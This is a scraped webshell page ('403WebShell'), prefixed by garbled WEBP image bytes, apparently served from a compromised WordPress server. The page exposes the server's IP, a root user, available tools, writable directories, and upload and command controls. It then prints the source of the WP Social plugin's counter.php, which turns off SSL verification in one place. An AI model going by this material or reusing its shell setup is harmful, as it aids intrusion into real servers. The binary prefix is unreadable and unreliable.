RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/inc/counter.php
<?php

namespace WP_Social\Inc;

defined('ABSPATH') || exit;

use WP_Social\App\Providers;
use WP_Social\Lib\Provider\Counter_Factory;

/**
 * Class Name : XS_Social_Counter;
 * Class Details : this class for showing login button in login and register page for wp, woocommerce, buddyPress and others
 *
 * @params : void
 *
 * @return : void
 *
 * @since : 1.0
 */
class Counter {

	const ORDER_LIST_PROVIDER_COUNTER = 'xs_counter_providers_order_frontend';

	public function __construct($load = true) {

		if($load) {
			$this->social_counter_action();
			add_action('init', [$this, 'counter_access_key_setup']);

			add_shortcode('xs_social_counter', [$this, 'social_counter_shortcode']);
		}
	}


	public function social_counter_action() {


		/**
		 * AR:20201110 - below caching is confusing and it is causing not showing datas for provider whose settings is set later
		 * Current flow:
		 * - loop through every provider
		 * -- call the dedicated 'xsc_' . $key . '_count'; function
		 * --- check the transient time there
		 * --- transient time should get from global settings
		 * --- call api and update the count
		 * ---- if count fail do not update transient
		 * ---- //this way next time for specific provider can update their count
		 *
		 * Count precedence : bigger of actual & defaults get precedence
		 *
		 */

		$return = [];
		$xsc_transient = [];

		$option_key = 'xs_counter_providers_data';
		$xsc_options = get_option($option_key) ? get_option($option_key) : []; //these are used as global so right now we can not remove

		$counter_provider = \WP_Social\App\Settings::get_counter_provider_settings();
		$cache_time = \WP_Social\App\Settings::get_counter_cache_time();
		$enabled_providers = \WP_Social\App\Settings::get_enabled_provider_conf_counter();

		/**
		 * Note - these need to be updated, very messier code
		 * for now just patching :( ARa
		 *
		 * Cleaning idea
		 * - each provider should have its transient and api call must not be performed in constructor call!
		 * - todo - etc etc
		 *
		 */
		if(!empty($counter_provider)) {

			$factory = new Counter_Factory();


			foreach($counter_provider as $key => $conf) {

				if(!empty($enabled_providers[$key]['enable'])) {

					$obj = $factory->make($key);

					if($obj->need_to_call_legacy_function()) {

						$function = 'xsc_' . $key . '_count';
						$return['data'][$key] = $function($cache_time);
						$xsc_transient[$key] = $return['data'][$key];

					} else {

						$count = $obj->set_config_data($conf)->get_count($cache_time);
						$return['data'][$key] = $count;
						$xsc_transient[$key] = $count;
					}
				}
			}
		}

		update_option(\WP_Social\App\Settings::$ok_counter_cached_data, $return);
	}


	public function social_counter_shortcode($atts, $content = null) {

		$atts = shortcode_atts(
			[
				'provider' => 'all',
				'class'    => '',
				'style'    => '',
				'hover'    => '',
			],
			$atts,
			'xs_social_counter'
		);

		if(isset($atts['provider']) && $atts['provider'] != 'all') {
			$provider = explode(',', $atts['provider']);
		} else {
			$provider = 'all';
		}

		$config = [];
		$config['class'] = trim($atts['class']);
		$config['style'] = trim($atts['style']);
		$config['hover'] = trim($atts['hover']);

		return $this->get_counter_data($provider, $config);
	}


	public function get_counter_data($provider = 'all', $config = []) {

		$core_provider = $this->xs_counter_providers();

		$className = isset($config['class']) ? $config['class'] : '';
		$provider = ($provider == 'all') ? array_keys($core_provider) : $provider;

		$styleArr = \WP_Social\Inc\Admin_Settings::counter_styles();

		$hoverStyles = [
			'none-none' => [
				'name'  => 'None',
				'class' => 'wslu-none',
			],
		];

		if(did_action('wslu_social_pro/plugin_loaded')) {

			if( method_exists( \WP_Social_Pro\Inc\Admin_Settings::class, 'counter_hover_effects' ) ){

				$hoverStyles = \WP_Social_Pro\Inc\Admin_Settings::counter_hover_effects();

			}else{

				$hoverStyles = \WP_Social_Pro\Inc\Admin_Settings::$counter_hover_effects;

			}

		}

		$globalShareSettings = get_option('xs_counter_global_setting_data', '');
		$themeFontClass = empty($globalShareSettings['show_font_from_theme']) ? 'wslu-theme-font-no' : 'wslu-theme-font-yes';

		$style = get_option('xs_style_setting_data_counter', '');

		$styleConfig = isset($style['login_button_style']['style']) ? $style['login_button_style']['style'] : 'style-1:none-none';

		$bArr = explode(':', $styleConfig);

		$cntStyleKey = empty($config['style']) ? $bArr[0] : $config['style'];
		$cntHoverKey = empty($config['hover']) ? $bArr[1] : $config['hover'];

		$mainStyleCls = isset($styleArr[$cntStyleKey]['class']) ? 'wslu-' . $cntStyleKey . ' ' . $styleArr[$cntStyleKey]['class'] : '';
		$hoverClass = empty($hoverStyles[$cntHoverKey]) ? $hoverStyles['none-none']['class'] : $hoverStyles[$cntHoverKey]['class'];
		$widget_style = $mainStyleCls . ' ' . $hoverClass . ' ' . $themeFontClass;

		$counter_data = \WP_Social\App\Settings::get_counter_cached_data();
		$counter_provider = \WP_Social\App\Settings::get_counter_provider_settings();

		ob_start();
		require(WSLU_LOGIN_PLUGIN . '/template/counter/counter-html.php');
		$counter = ob_get_contents();
		ob_end_clean();

		return $counter;
	}


	public function counter_access_key_setup() {

		if( !isset( $_POST['xs_provider_submit_form_access_counter_nonce'] ) || ! wp_verify_nonce( $_POST['xs_provider_submit_form_access_counter_nonce'], 'xs_provider_submit_form_access_counter_nonce' ) || ! current_user_can( 'manage_options' ) ) {
			return;
		}

		if(isset($_POST['xs_provider_submit_form_access_counter'])) {

			$getpage = isset($_GET['page']) ? Admin_Settings::sanitize($_GET['page']) : '';
			$getType = isset($_GET['xs_access']) ? Admin_Settings::sanitize($_GET['xs_access']) : '';

			if($getpage != 'wslu_counter_setting') {
				return '';
			}

			$accesskey = isset($_POST['accesskey']) ? Admin_Settings::sanitize($_POST['accesskey']) : '';
			$app_id = isset($accesskey[$getType]['app_id']) ? $accesskey[$getType]['app_id'] : '';
			$app_secret = isset($accesskey[$getType]['app_secret']) ? $accesskey[$getType]['app_secret'] : '';

			if($getType == 'twitter') {
				// preparing credentials
				$credentials = $app_id . ':' . $app_secret;
				$toSend = base64_encode($credentials);

				// http post arguments
				$args = [
					'method'      => 'POST',
					'httpversion' => '1.1',
					'blocking'    => true,
					'headers'     => [
						'Authorization' => 'Basic ' . $toSend,
						'Content-Type'  => 'application/x-www-form-urlencoded;charset=UTF-8',
					],
					'body'        => ['grant_type' => 'client_credentials'],
				];

				add_filter('https_ssl_verify', '__return_false');
				$response = wp_remote_post('https://api.twitter.com/oauth2/token', $args);

				$keys = json_decode(wp_remote_retrieve_body($response));
				if(!isset($keys->access_token)) {
					return '';
				}
				if(!empty($keys->access_token)) {
					update_option('xs_counter_' . $getType . '_token', $keys->access_token);
					update_option('xs_counter_' . $getType . '_app_id', $app_id);
					update_option('xs_counter_' . $getType . '_app_secret', $app_secret);
					$redirect_url = admin_url() . "admin.php?page=wslu_counter_setting&tab=wslu_providers&code=true&xs_access=" . $getType . '';
					header("Location: $redirect_url");
					exit;
				}
			} elseif($getType == 'instagram') {
				$cur_page = admin_url() . 'admin.php?page=wslu_counter_setting&tab=wslu_providers&xs_access=' . $getType . '';

				$params = [
					'client_id'     => $app_id,
					'response_type' => 'code',
					'scope'         => 'basic',
					'redirect_uri'  => $cur_page,
				];

				$url = "https://api.instagram.com/oauth/authorize/?" . http_build_query($params);

				set_transient('xs_counter_' . $getType . '_client_id', $app_id, 60 * 60);
				set_transient('xs_counter_' . $getType . '_client_secret', $app_secret, 60 * 60);
				header("Location: $url");

			} elseif($getType == 'linkedin') {
				$cur_page = admin_url() . 'admin.php?page=wslu_counter_setting&tab=wslu_providers&xs_access=' . $getType . '';
				$params = [
					'response_type' => 'code',
					'client_id'     => $app_id,
					//'scope'         => 'rw_company_admin r_basicprofile',
					'scope'         => 'r_liteprofile r_emailaddress w_member_social r_ad_campaigns rw_organization',
					'state'         => uniqid('', true), // unique long string
					'redirect_uri'  => $cur_page,
				];

				$url = 'https://www.linkedin.com/oauth/v2/authorization?' . http_build_query($params);

				set_transient('xs_counter_' . $getType . '_api_key', $app_id, 60 * 60);
				set_transient('xs_counter_' . $getType . '_secret_key', $app_secret, 60 * 60);

				header("Location: $url");
			} elseif($getType == 'facebook') {
				$url = 'https://www.facebook.com/login.php?skip_api_login=1&api_key=1203050406491591&signed_next=1&next=https://www.facebook.com/v2.12/dialog/oauth?redirect_uri=https%3A%2F%2Fwww.ajuda.me%2Fwp-login.php%3FloginSocial%3Dfacebook
				&display=popup&state=d4a4c6d6df98117acfa25d4343483c69&scope=public_profile%2Cemail&response_type=code&client_id=1203050406491591&ret=login&logger_id=49a9a593-e908-a451-16d4-eb38a4ae7882&cancel_url=https://www.ajuda.me/wp-login.php?loginSocial=facebook&error=access_denied&error_code=200&error_description=Permissions+error&error_reason=user_denied&state=d4a4c6d6df98117acfa25d4343483c69#_=_&display=popup&locale=pt_PT&logger_id=49a9a593-e908-a451-16d4-eb38a4ae7882';

				$cur_page = admin_url() . 'admin.php?page=wslu_counter_setting&tab=wslu_providers&xs_access=' . $getType . '';

				$params = [
					'skip_api_login' => 1,
					'api_key'        => 1203050406491591,
					'signed_next'    => 1,
					'next'           => 'https://www.facebook.com/v2.12/dialog/oauth?redirect_uri=' . $cur_page,
					'display'        => 'popup',
					'response_type'  => 'code',
					'client_id'      => $app_id,
					'scope'          => 'public_profile email',
					'ret'            => 'login',
					'logger_id'      => '49a9a593-e908-a451-16d4-eb38a4ae7882',
					'cancel_url'     => 'https://www.ajuda.me/wp-login.php?loginSocial=facebook&error=access_denied&error_code=200&error_description=Permissions+error&error_reason=user_denied&state=d4a4c6d6df98117acfa25d4343483c69#_=_&display=popup&locale=pt_PT&logger_id=49a9a593-e908-a451-16d4-eb38a4ae7882',
					'state'          => uniqid('', true), // unique long string
					'redirect_uri'   => $cur_page,
				];
				$url = 'https://www.facebook.com/login.php?' . http_build_query($params);
				header("Location: $url");
			} elseif($getType == 'dribbble') {
				$cur_page = admin_url() . 'admin.php?page=wslu_counter_setting&tab=wslu_providers&xs_access=' . $getType . '';

				$params = [
					'client_id'     => $app_id,
					'response_type' => 'code',
					'scope'         => 'public',
					'redirect_uri'  => $cur_page,
					'state'         => substr(md5(microtime()), rand(0, 26), 10),
				];

				$url = "https://dribbble.com/oauth/authorize?" . http_build_query($params);

				/**
				 * Why saved in transient!!!!
				 *
				 */
				update_option('xs_counter_dribbble_app_id', $app_id);
				update_option('xs_counter_dribbble_app_secret', $app_secret);

				set_transient('xs_counter_' . $getType . '_client_id', $app_id, 60 * 60);
				set_transient('xs_counter_' . $getType . '_client_secret', $app_secret, 60 * 60);

				header("Location: $url");
			}
		}
	}


	public function xs_counter_providers() {
		$providers = [
			'facebook'  => [
				'label' => 'Facebook',
				'data'  => ['text' => __('Fans', 'wp-social'), 'url' => 'http://www.facebook.com/%s'],
			],
			'twitter'   => [
				'label' => 'Twitter',
				'data'  => ['text' => __('Followers', 'wp-social'), 'url' => 'http://twitter.com/%s'],
			],
			//'linkedin'   => [ 'label' => 'LinkedIn', 'data' => ['text' => __( 'Followers', 'wp-social' ), 'url' => 'https://www.linkedin.com/%s/%s']  ],
			'pinterest' => [
				'label' => 'Pinterest',
				'data'  => ['text' => __('Followers', 'wp-social'), 'url' => 'http://www.pinterest.com/%s'],
			],
			'dribbble'  => [
				'label' => 'Dribbble',
				'data'  => ['text' => __('Followers', 'wp-social'), 'url' => 'http://dribbble.com/%s'],
			],
			'instagram' => [
				'label' => 'Instagram',
				'data'  => ['text' => __('Followers', 'wp-social'), 'url' => 'http://instagram.com/%s'],
			],
			'youtube'   => [
				'label' => 'YouTube',
				'data'  => ['text' => __('Subscribers', 'wp-social'), 'url' => 'http://youtube.com/%s'],
			],
			'mailchimp' => ['label' => 'Mailchimp', 'data' => ['text' => __('Subscribers', 'wp-social')]],
			'comments'  => ['label' => 'Comments', 'data' => ['text' => __('Count', 'wp-social')]],
			'posts'     => ['label' => 'Posts', 'data' => ['text' => __('Count', 'wp-social')]],
			//'vimeo'      => [ 'label' => 'Vimeo', 'data' => ['text' => __( 'Subscribers',	'wp-social' ), 'url' => 'https://vimeo.com/channels/%s']  ],
			//'vkontakte'  => [ 'label' => 'Vkontakte', 'data' => ['text' => __( 'Members', 'wp-social' ), 'url' => 'http://vk.com/%s']  ],
		];

		$providers_order = get_option(self::ORDER_LIST_PROVIDER_COUNTER);

		return Providers::providers_sort($providers_order, $providers);
	}


	public function xs_counter_providers_data() {

		// todo - alamin : make all label as translatable

		return [
			'facebook' => ['id' => ['type' => 'normal', 'label' => 'Page ID/Name', 'input' => 'text'],],
			'twitter'  => [
				'id'  => ['type' => 'normal', 'label' => 'Username', 'input' => 'text'],
				'api' => [
					'type'  => 'access',
					'label' => __('Access Token Key', 'wp-social'),
					'input' => 'text',
					'filed' => ['app_id' => 'Consumer key', 'app_secret' => 'Consumer secret'],
				],
			],

			'instagram' => [

				'user_name' => [
					'type'  => 'normal',
					'label' => 'Username',
					'input' => 'text',
				],

				'get_token' => [
					'type'  => 'link',
					'label' => esc_html__('Get access token ', 'wp-social'),
					'input' => 'link',
					'url' => 'https://token.wpmet.com/social_token.php?provider=instagram',
					'class' => 'wslu-btn wslu-target-link',
				],

				'access_token' => [
					'type'  => 'normal',
					'label' => 'Access token',
					'input' => 'text',
				],
				'user_id' => [
					'type'  => 'normal',
					'label' => 'User ID',
					'input' => 'text',
				],
			],

			'linkedin'  => [
				'type' => [
					'type'  => 'normal',
					'label' => 'Account Type',
					'input' => 'select',
					'data'  => ['Company' => 'Company', 'Profile' => 'Profile'],
				],
				'id'   => ['type' => 'normal', 'label' => 'Your ID', 'input' => 'text'],
				'api'  => [
					'type'  => 'access',
					'label' => __('Access Token Key', 'wp-social'),
					'input' => 'text',
					'filed' => ['app_id' => 'API Key', 'app_secret' => 'Secret Key'],
				],
			],
			'pinterest' => [
				'username' => [
					'type'  => 'normal',
					'label' => 'Username',
					'input' => 'text',
				],
			],

			'youtube'   => [
				'type' => [
					'type'  => 'normal',
					'label' => 'Account Type',
					'input' => 'select',
					'data'  => ['Channel' => 'Channel', 'User' => 'User'],
				],
				'id'   => ['type' => 'normal', 'label' => 'Username or Channel ID', 'input' => 'text'],
				'key'  => ['type' => 'normal', 'label' => 'YouTube API Key', 'input' => 'text'],
			],
			'dribbble'  => [
				'api' => [
					'type'  => 'access',
					'label' => __('Access Token Key', 'wp-social'),
					'input' => 'text',
					'filed' => ['app_id' => 'Client ID', 'app_secret' => 'Client Secret'],
				],
			],
			'mailchimp' => [
				'id'  => ['type' => 'normal', 'label' => 'List ID (Optional)', 'input' => 'text'],
